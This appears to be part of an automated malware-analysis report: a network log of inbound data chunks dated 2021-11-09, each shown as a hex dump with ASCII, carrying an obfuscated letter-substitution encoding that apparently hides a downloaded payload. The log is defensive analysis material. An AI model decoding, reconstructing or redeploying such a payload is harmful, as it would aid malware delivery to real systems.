2021-11-09 21:21:49 UTC	368	IN	Data Raw: 78 20 78 20 78 20 6f 59 45 20 51 20 78 20 78 20 45 74 20 4f 78 20 78 20 78 20 4f 59 20 78 20 78 20 78 20 45 20 4f 78 20 78 20 78 20 6f 74 20 4b 6b 20 4f 4f 20 78 20 4f 52 6b 20 45 20 78 20 78 20 4f 59 20 78 20 78 20 4f 74 20 4f 4b 78 20 6f 74 20 78 20 78 20 4f 20 78 20 78 20 4b 78 20 74 20 78 20 78 20 4f 78 20 78 20 45 6f 20 6f 59 4b 20 6f 59 59 20 6f 59 59 20 6f 59 59 20 6f 59 4b 20 4f 4b 20 4f 20 78 20 45 6f 20 6f 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4f 6f 52 20 74 74 20 78 20 78 20 4f 78 20 6f 59 4b 20 51 20 78 20 78 20 45 6f 20 78 20 78 20 78 20 78 20 4f 4f 4f 20 4b 6b 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 4b 20 78 20 45 6f 20 45 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4b 45 20 52 20 6f 59 4b 20 6f 6f 20 6b 45 20 Data Ascii: x x x oYE Q x x Et Ox x x OY x x x E Ox x x ot Kk OO x ORk E x x OY x x Ot OKx ot x x O x x Kx t x x Ox x Eo oYK oYY oYY oYY oYK OK O x Eo o x x x oYK OK E x OoR tt x x Ox oYK Q x x Eo x x x x OOO Kk x x Ox oYK OK K x Eo E x x x oYK OK E x KE R oYK oo kE
2021-11-09 21:21:49 UTC	384	IN	Data Raw: 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 6f 6f 20 45 4f 20 4f 78 59 20 4f 59 74 20 4f 4f 59 20 4f 45 52 20 78 20 78 20 4f 78 20 4b 6f 20 78 20 78 20 4f 51 20 4b 6b 20 4b 20 78 20 6f 20 4f 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 6f 6b 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f Data Ascii: OYt Et Eo x x x x EO OxO OYt Et oo EO OxY OYt OOY OER x x Ox Ko x x OQ Kk K x o O x x E x x Ot ok OKO OOY x x O Et Eo Y x x x EO Yt OYt Et Eo Y x x x EO Qt OYt Et Eo Y x x x EO YY OYt Et Eo Y x x x EO YE OYt Et ot EO Oxo OYt Et Eo K x x x EO Qt OYt Et Eo
2021-11-09 21:21:49 UTC	400	IN	Data Raw: 4f 4f 59 20 4f 74 78 20 78 20 78 20 4f 78 20 4f 6f 6f 20 52 20 4f 6f 52 20 4f 78 6b 20 78 20 78 20 4f 78 20 4b 78 20 4f 4f 52 20 78 20 78 20 4f 78 20 4f 51 20 6f 78 20 4f 74 20 6f 78 20 4b 4b 20 4f 6b 20 78 20 45 20 4b 78 20 51 52 20 78 20 78 20 52 20 4b 78 20 4f 45 20 78 20 78 20 4f 78 20 4f 4f 59 20 4f 74 4f 20 78 20 78 20 4f 78 20 4f 6f 6f 20 52 20 4f 51 20 6f 4f 20 4b 45 20 78 20 4f 74 20 6f 4f 20 4b 6f 20 78 20 78 20 52 59 20 6f 6b 20 78 20 78 20 78 20 78 20 78 20 78 20 74 20 78 20 78 20 78 20 6f 4f 59 20 4f 20 78 20 78 20 6f 6f 6f 20 4f 20 78 20 78 20 4f 45 20 78 20 78 20 78 20 6f 20 78 20 78 20 4f 20 4f 51 20 4b 6b 20 4b 20 78 20 74 52 20 45 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 45 4f 20 6f 78 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 Data Ascii: OOY Otx x x Ox Ooo R OoR Oxk x x Ox Kx OOR x x Ox OQ ox Ot ox KK Ok x E Kx QR x x R Kx OE x x Ox OOY OtO x x Ox Ooo R OQ oO KE x Ot oO Ko x x RY ok x x x x x x t x x x oOY O x x ooo O x x OE x x x o x x O OQ Kk K x tR E x x E x x Ot EO ox OKO OOY x x O Et
2021-11-09 21:21:49 UTC	416	IN	Data Raw: 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 4f 45 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 4f 6f 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 Data Ascii: x x EO Kk OYt Et EO OE EO Oxk OYt Et Eo Oo x x x EO YE OYt Et Eo Oo x x x EO YE OYt Et Eo Oo x x x EO Kk OYt Et Eo Oo x x x EO Yt OYt Et EO Oo EO Qt OYt Et Eo OO x x x EO YK OYt Et Eo OO x x x EO YO OYt Et Eo OO x x x EO YE OYt Et Eo OO x x x EO Oxo OYt E
2021-11-09 21:21:49 UTC	432	IN	Data Raw: 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 4f 20 4f 52 20 45 4f 20 4b 52 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 59 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 4f 20 4f 59 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 4b 20 78 20 78 20 78 20 45 4f 20 59 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 4b 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 Data Ascii: x x EO YY OYt Et Eo OR x x x EO Kk OYt Et Eo OR x x x EO YE OYt Et EO OR EO KR OYt Et Eo OY x x x EO Oxx OYt Et Eo OY x x x EO Qt OYt Et Eo OY x x x EO Qk OYt Et Eo OY x x x EO Oxx OYt Et EO OY EO Oxx OYt Et Eo OK x x x EO Yx OYt Et Eo OK x x x EO OxO OY
2021-11-09 21:21:49 UTC	448	IN	Data Raw: 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 6f 4b 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 4f 20 6f 4b 20 45 4f 20 4f 4f 78 20 4f 59 74 20 45 74 20 45 6f 20 6f 45 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 6f 45 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 6f 45 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 4f 20 6f 45 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 6f 6f 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 6f 6f 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 6f 6f 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 4f 20 6f 6f 20 45 4f 20 4f 4f 4b 20 4f 59 74 20 45 Data Ascii: x x x EO Yo OYt Et Eo oK x x x EO Oxx OYt Et EO oK EO OOx OYt Et Eo oE x x x EO Oxo OYt Et Eo oE x x x EO QQ OYt Et Eo oE x x x EO YO OYt Et EO oE EO Qt OYt Et Eo oo x x x EO KQ OYt Et Eo oo x x x EO Oxx OYt Et Eo oo x x x EO OxO OYt Et EO oo EO OOK OYt E
2021-11-09 21:21:49 UTC	463	IN	Data Raw: 4f 59 74 20 45 74 20 45 6f 20 51 59 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 59 20 45 4f 20 4b 52 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 4b 20 45 4f 20 4f 4f 78 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 45 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 45 74 20 45 6f 20 51 6f 20 78 20 78 20 78 20 45 Data Ascii: OYt Et Eo QY x x x EO Qk OYt Et EO QY EO KR OYt Et Eo QK x x x EO YK OYt Et Eo QK x x x EO OxO OYt Et Eo QK x x x EO Qk OYt Et EO QK EO OOx OYt Et Eo QE x x x EO QQ OYt Et Eo QE x x x EO KQ OYt Et Eo QE x x x EO Kk OYt Et EO QE EO OOO OYt Et Eo Qo x x x E
2021-11-09 21:21:49 UTC	479	IN	Data Raw: 20 45 74 20 45 6f 20 74 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 6f 51 20 45 4f 20 4f 78 51 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 6f 6b 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 4f 52 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 Data Ascii: Et Eo t x x x EO Kk OYt Et oQ EO OxQ OYt Et Eo R x x x EO Qt OYt Et Eo R x x x EO Qk OYt Et Eo R x x x EO Qt OYt Et ok EO OxO OYt Et Eo Y x x x EO Qt OYt Et Eo Y x x x EO OxO OYt Et Eo Y x x x EO Oxo OYt Et ot EO OOR OYt Et Eo K x x x EO Yt OYt Et Eo K x
2021-11-09 21:21:49 UTC	495	IN	Data Raw: 20 4f 6f 6b 20 4f 4f 4b 20 6f 74 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 59 4b 20 6b 4f 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 6f 4b 4b 20 4b 59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 45 4f 20 51 51 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 4b 4b 20 4b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4b 59 20 4f 4f 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 6f 6f 52 20 6b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 59 4f 20 59 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 6f 78 20 6f 59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 45 6b 20 74 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 51 4f 20 4f 4f 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 6b 4f 20 52 4b 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 78 59 20 4f 4f 45 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 4b 45 20 Data Ascii: Ook OOK ot EY o kR Ook OYK kO EY o kR Ook oKK KY EY o kR Ook OEO QQ EY o kR Ook OKK Kx EY o kR Ook KY OOx EY o kR Ook ooR kx EY o kR Ook YO YR EY o kR Ook Oox oY EY o kR Ook Ek tR EY o kR Ook QO OOx EY o kR Ook OkO RK EY o kR Ook OxY OOE EY o kR Ook OKE
2021-11-09 21:21:49 UTC	511	IN	Data Raw: 4f 74 52 20 4f 20 4b 45 20 45 20 51 20 78 20 4f 6b 78 20 4f 20 4b 6b 20 45 20 51 20 78 20 4f 6b 4b 20 4f 20 59 45 20 45 20 51 20 78 20 4f 6b 6b 20 4f 20 59 6b 20 45 20 51 20 78 20 4f 51 6f 20 4f 20 52 45 20 45 20 51 20 78 20 4f 51 52 20 4f 20 52 6b 20 45 20 51 20 78 20 6f 78 78 20 4f 20 74 45 20 45 20 51 20 78 20 6f 78 4b 20 4f 20 74 6b 20 45 20 51 20 78 20 6f 78 6b 20 4f 20 6b 45 20 45 20 51 20 78 20 6f 4f 6f 20 4f 20 6b 6b 20 45 20 51 20 78 20 6f 4f 52 20 4f 20 51 45 20 45 20 51 20 78 20 6f 6f 78 20 4f 20 51 6b 20 45 20 51 20 78 20 6f 6f 4b 20 4f 20 4f 78 45 20 45 20 51 20 78 20 6f 6f 6b 20 4f 20 4f 78 6b 20 45 20 51 20 78 20 6f 45 6f 20 4f 20 4f 4f 45 20 45 20 51 20 78 20 6f 45 52 20 4f 20 4f 4f 6b 20 45 20 51 20 78 20 6f 4b 78 20 4f 20 4f 6f 45 20 45 Data Ascii: OtR O KE E Q x Okx O Kk E Q x OkK O YE E Q x Okk O Yk E Q x OQo O RE E Q x OQR O Rk E Q x oxx O tE E Q x oxK O tk E Q x oxk O kE E Q x oOo O kk E Q x oOR O QE E Q x oox O Qk E Q x ooK O OxE E Q x ook O Oxk E Q x oEo O OOE E Q x oER O OOk E Q x oKx O OoE E
2021-11-09 21:21:49 UTC	527	IN	Data Raw: 6f 20 51 74 20 4f 4f 78 20 4f 78 78 20 4f 78 6b 20 4f 78 4f 20 74 51 20 4f 4f 78 20 6b 45 20 4f 4f 52 20 51 74 20 51 51 20 4f 78 74 20 78 20 6b 6f 20 4f 78 4f 20 4f 78 45 20 4f 78 59 20 4f 4f 59 20 4f 4f 52 20 4f 4f 4b 20 4f 6f 4f 20 74 59 20 4f 78 4f 20 4f 6f 4f 20 6b 78 20 4f 78 4f 20 4f 4f 4b 20 4f 78 51 20 4f 78 59 20 4f 4f 59 20 4f 4f 59 20 4f 78 59 20 4f 4f 4f 20 4f 4f 78 20 52 74 20 4f 78 4b 20 4f 78 4f 20 51 51 20 4f 78 74 20 78 20 52 59 20 4f 78 6b 20 4f 78 6b 20 4f 4f 4f 20 51 51 20 74 6f 20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 78 20 4f 4f 4b 20 4f 78 4f 20 4f 78 4f 20 74 6f 20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 74 20 51 74 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4b 20 51 74 20 4f Data Ascii: o Qt OOx Oxx Oxk OxO tQ OOx kE OOR Qt QQ Oxt x ko OxO OxE OxY OOY OOR OOK OoO tY OxO OoO kx OxO OOK OxQ OxY OOY OOY OxY OOO OOx Rt OxK OxO QQ Oxt x RY Oxk Oxk OOO QQ to tO Oxk OOO Qk Qt Oxk x tx OOK OxO OxO to tO Oxk OOO Qk Qt Oxk x tt Qt OOK OOY OxK Qt O
2021-11-09 21:21:49 UTC	543	IN	Data Raw: 20 4f 59 6f 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 6f 20 4f 59 4f 20 6f 6f 59 20 4f 6b 4f 20 4f 52 59 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 4f 20 4f 74 6f 20 6f 6f 59 20 4f 6b 4f 20 4f 6b 52 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 78 20 6f 45 45 20 4f 45 6f 20 4f 51 78 20 6f 45 45 20 4f 45 45 20 4f 59 78 20 6f 45 45 20 4f 45 45 20 4f 74 4b 20 6f 45 45 20 4f 45 45 20 4f 6b 59 20 6f 45 45 20 4f 45 45 20 4f 59 52 20 6f 45 45 20 4f 45 45 20 4f 6b 51 20 6f 45 45 20 4f 45 45 20 4f 74 59 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 59 45 20 6f 45 45 20 4f 45 45 20 4f 6f 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 52 20 6f 45 45 20 4f 45 45 20 Data Ascii: OYo ooY Oko OEx ooY Oko OYO ooY OkO ORY ooY Oko OEx ooY OkO Oto ooY OkO OkR ooY Oko OEx x oEE OEo OQx oEE OEE OYx oEE OEE OtK oEE OEE OkY oEE OEE OYR oEE OEE OkQ oEE OEE OtY oEE OEE OtO oEE OEE OtO oEE OEE OYE oEE OEE OoQ oEE OEo OkQ oEE OEo OkR oEE OEE
2021-11-09 21:21:49 UTC	559	IN	Data Raw: 20 6f 45 4f 20 4f 6f 51 20 4f 6b 51 20 6f 45 4f 20 4f 6f 51 20 4f 4b 78 20 6f 45 4f 20 4f 45 78 20 4f 4b 78 20 6f 45 4f 20 4f 6f 51 20 4f 4b 45 20 6f 45 4f 20 4f 45 78 20 4f 45 78 20 6f 45 4f 20 4f 6f 51 20 4f 6b 59 20 6f 45 4f 20 4f 6f 51 20 4f 4b 6f 20 78 20 6f 45 59 20 4f 45 45 20 4f 4b 74 20 6f 45 59 20 4f 45 45 20 4f 74 74 20 6f 45 59 20 4f 45 45 20 4f 51 78 20 6f 45 59 20 4f 45 45 20 4f 52 6f 20 6f 45 59 20 4f 45 4b 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 4b 20 4f 45 4b 20 6f 45 59 20 4f 45 45 20 4f 74 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 52 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 4b 20 4f 6f 51 20 6f 45 59 20 4f 45 45 20 4f 4b 4f 20 6f 45 59 20 4f 45 45 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 6b 6b 20 Data Ascii: oEO OoQ OkQ oEO OoQ OKx oEO OEx OKx oEO OoQ OKE oEO OEx OEx oEO OoQ OkY oEO OoQ OKo x oEY OEE OKt oEY OEE Ott oEY OEE OQx oEY OEE ORo oEY OEK OKK oEY OEE OKx oEY OEK OEK oEY OEE OtK oEY OEE OKR oEY OEE OKx oEY OEK OoQ oEY OEE OKO oEY OEE OKK oEY OEE Okk
2021-11-09 21:21:49 UTC	575	IN	Data Raw: 6f 6b 20 4f 4b 74 20 4f 4b 78 20 6f 6f 6b 20 4f 4b 52 20 4f 59 51 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 6b 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 59 45 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 6f 20 6f 45 4f 20 4f 4b 52 20 4f 4b 6b 20 6f 45 4f 20 4f 4b 52 20 4f 59 45 20 6f 45 4f 20 4f 4b 74 20 4f 45 45 20 6f 45 4f 20 4f 4b 52 20 4f 6b 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 4b 20 6f 45 4f 20 4f 4b 74 20 4f 45 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 78 20 6f 45 4f 20 4f 4b 74 20 4f 45 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 59 20 6f 45 4f 20 4f 4b 52 20 4f 6b 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 4b 20 6f 45 4f 20 4f 4b 52 20 4f 74 6b 20 6f 45 Data Ascii: ok OKt OKx ook OKR OYQ ook OKR OkO ook OKR Okk ook OKR OYO ook OKR OYE ook OKR OYO x oEO OKR OYo oEO OKR OKk oEO OKR OYE oEO OKt OEE oEO OKR Okt oEO OKR OYK oEO OKt OEt oEO OKR OYx oEO OKt OER oEO OKt OEY oEO OKR Okx oEO OKR OYR oEO OKt OEK oEO OKR Otk oE
2021-11-09 21:21:49 UTC	591	IN	Data Raw: 20 4f 52 4b 20 4f 52 4f 20 6f 45 78 20 4f 52 4b 20 4f 4b 6f 20 6f 45 78 20 4f 52 4b 20 4f 6b 59 20 6f 45 78 20 4f 52 45 20 4f 74 51 20 6f 45 78 20 4f 52 4b 20 4f 59 4f 20 6f 45 78 20 4f 52 45 20 4f 6b 45 20 6f 45 78 20 4f 52 4b 20 4f 52 6f 20 78 20 6f 6f 74 20 4f 74 4b 20 4f 52 51 20 6f 6f 74 20 4f 74 4b 20 4f 52 52 20 6f 6f 74 20 4f 74 59 20 4f 59 78 20 6f 6f 74 20 4f 74 4b 20 4f 52 6f 20 6f 6f 74 20 4f 74 4b 20 4f 52 6b 20 6f 6f 74 20 4f 74 59 20 4f 45 45 20 6f 6f 74 20 4f 74 59 20 4f 45 74 20 6f 6f 74 20 4f 74 4b 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 74 78 20 6f 6f 74 20 4f 74 59 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 59 4b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 4f 74 59 20 4f 4b 6b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 Data Ascii: ORK ORO oEx ORK OKo oEx ORK OkY oEx ORE OtQ oEx ORK OYO oEx ORE OkE oEx ORK ORo x oot OtK ORQ oot OtK ORR oot OtY OYx oot OtK ORo oot OtK ORk oot OtY OEE oot OtY OEt oot OtK ORK oot OtY Otx oot OtY ORK oot OtY OYK oot OtY OKY oot OtY OKk oot OtY OKY oot
2021-11-09 21:21:49 UTC	607	IN	Data Raw: 6b 45 20 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 4b 78 20 6f 45 6b 20 4f 6b 45 20 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 59 4b 20 6f 45 6b 20 4f 6b 4b 20 4f 52 74 20 6f 45 6b 20 4f 6b 4b 20 4f 59 74 20 6f 45 6b 20 4f 6b 45 20 4f 74 6f 20 78 20 6f 45 45 20 4f 6b 4b 20 4f 45 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 6f 20 6f 45 45 20 4f 6b 4b 20 4f 6f 6b 20 6f 45 45 20 4f 6b 4b 20 4f 59 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 6f 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 45 20 6f 45 45 20 4f 6b 4b 20 4f 74 59 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 52 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 59 6b 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 74 4b 20 6f 45 45 20 4f 6b Data Ascii: kE OtO oEk OkK OKx oEk OkE OtO oEk OkK OYK oEk OkK ORt oEk OkK OYt oEk OkE Oto x oEE OkK OEO oEE OkK Oto oEE OkK Ook oEE OkK OYO oEE OkK OYo oEE OkK OtO oEE OkK OtE oEE OkK OtY oEE OkK OtO oEE OkK OYR oEE OkE OQx oEE OkK OYk oEE OkE OQx oEE OkK OtK oEE Ok
2021-11-09 21:21:49 UTC	623	IN	Data Raw: 20 4f 45 45 20 6f 45 59 20 4f 45 45 20 4f 4b 6b 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 6b 4f 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 45 20 4f 6b 78 20 6f 45 59 20 4f 45 45 20 4f 52 4f 20 6f 45 59 20 4f 45 45 20 4f 45 4f 20 6f 45 59 20 4f 45 4b 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 78 20 6f 6f 74 20 4f 59 4f 20 4f 74 52 20 6f 6f 74 20 4f 59 4f 20 4f 52 51 20 6f 6f 74 20 4f 59 4f 20 4f 4b 74 20 6f 6f 74 20 4f 59 78 20 4f 51 78 20 6f 6f 74 20 4f 59 4f 20 4f 4b 6b 20 6f 6f 74 20 4f 59 4f 20 4f 74 6f 20 6f 6f 74 20 4f 59 78 20 4f 6b 6f 20 6f 6f 74 20 4f 59 4f 20 4f 74 78 20 6f 6f 74 20 4f 59 78 20 4f 6b 51 20 6f 6f 74 20 4f 59 4f 20 Data Ascii: OEE oEY OEE OKk oEY OEE OkE oEY OEE OEQ oEY OEE OkO oEY OEE OEQ oEY OEE OKx oEY OEE Okx oEY OEE ORO oEY OEE OEO oEY OEK OEQ oEY OEE OkE x oot OYO OtR oot OYO ORQ oot OYO OKt oot OYx OQx oot OYO OKk oot OYO Oto oot OYx Oko oot OYO Otx oot OYx OkQ oot OYO
2021-11-09 21:21:49 UTC	639	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 74 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 59 6f 20 78 20 74 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: RY x RY x RR x Rt x RY x kO x RR x Yo x tE x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x OOQ x OOQ x OOQ x RY x RY x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-11-09 21:21:49 UTC	655	IN	Data Raw: 6f 4f 20 78 20 4b 45 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 6b 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 45 20 78 20 4b 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 74 78 20 78 20 52 74 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 4f 6f 4f 20 78 20 4f 78 51 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 52 6b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 